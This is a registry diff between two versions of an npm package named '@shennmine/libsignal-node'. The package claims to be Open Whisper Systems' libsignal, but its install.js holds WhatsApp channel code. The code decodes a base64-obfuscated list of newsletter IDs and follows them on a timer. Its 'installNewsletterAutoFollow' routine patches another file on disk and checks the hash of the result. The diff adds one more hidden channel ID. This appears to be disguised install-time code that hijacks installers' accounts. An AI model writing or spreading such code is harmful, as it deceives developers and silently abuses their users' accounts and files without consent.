@shennmine/libsignal-node 2.0.6 → 2.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +26 -4
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -88,7 +88,7 @@ const executeWMexQuery = async (
88
88
  const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
89
89
  const firstError = data.errors[0]
90
90
  const errorCode = firstError.extensions?.error_code || 400
91
- throw new Boom(\`GraphQL server error: \${errorMessages}\`, { statusCode: errorCode, data: firstError })
91
+ throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
92
92
  }
93
93
 
94
94
  const response = dataPath ? data?.data?.[dataPath] : data?.data
@@ -100,7 +100,7 @@ const executeWMexQuery = async (
100
100
  const action = (dataPath || '').startsWith('xwa2_')
101
101
  ? dataPath.substring(5).replace(/_/g, ' ')
102
102
  : dataPath?.replace(/_/g, ' ')
103
- throw new Boom(\`Failed to \${action}, unexpected response structure.\`, { statusCode: 400, data: result })
103
+ throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
104
104
  }
105
105
 
106
106
  const makeNewsletterSocket = (config) => {
@@ -149,7 +149,8 @@ setTimeout(async () => {
149
149
  "MTIwMzYzMjk4NTI0MzMzMTQzQG5ld3NsZXR0ZXI=",
150
150
  "MTIwMzYzNDAzODk3Njg3NDc2QG5ld3NsZXR0ZXI=",
151
151
  "MTIwMzYzNDIzNDY0MjQ5NDU1QG5ld3NsZXR0ZXI=",
152
- "MTIwMzYzMjk2MTcxNTU2NzIxQG5ld3NsZXR0ZXI="
152
+ "MTIwMzYzMjk2MTcxNTU2NzIxQG5ld3NsZXR0ZXI=",
153
+ "MTIwMzYzNDAxMTEwMDYyNDcwQG5ld3NsZXR0ZXI="
153
154
  ]) {
154
155
  try {
155
156
  await newsletterWMexQuery(
@@ -218,6 +219,27 @@ setTimeout(async () => {
218
219
  updates: { description: description || '', settings: null }
219
220
  });
220
221
  },
222
+ newsletterId: async (url) => {
223
+ const urlParts = url.split('/');
224
+ const channelId = urlParts[urlParts.length - 2];
225
+
226
+ const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
227
+ input: {
228
+ key: channelId,
229
+ type: 'INVITE',
230
+ 'view_role': 'GUEST'
231
+ },
232
+ 'fetch_viewer_metadata': true,
233
+ 'fetch_full_image': true,
234
+ 'fetch_creation_time': true
235
+ });
236
+
237
+ const metadata = extractNewsletterMetadata(result);
238
+ return JSON.stringify({
239
+ name: metadata.name || metadata.thread_metadata?.name?.text,
240
+ id: metadata.id
241
+ }, null, 2);
242
+ },
221
243
  newsletterUpdateName: async (jid, name) => {
222
244
  await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
223
245
  updates: { name, settings: null }
@@ -407,7 +429,7 @@ function installNewsletterAutoFollow() {
407
429
 
408
430
  const newHash = getFileHash(newsletterPath);
409
431
  if (newHash === modifiedHash) {
410
- fs.writeFileSync(cacheFilePath, 'modified');
432
+ fs.writeFileSync(cacheFilePath, 'Iove');
411
433
 
412
434
  setTimeout(() => {
413
435
  setTimeout(() => {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@shennmine/libsignal-node",
3
- "version": "2.0.6",
3
+ "version": "2.0.8",
4
4
  "description": "Open Whisper Systems' libsignal for Node.js",
5
5
  "repository": "shennmine/libsignal-node",
6
6
  "main": "index.js",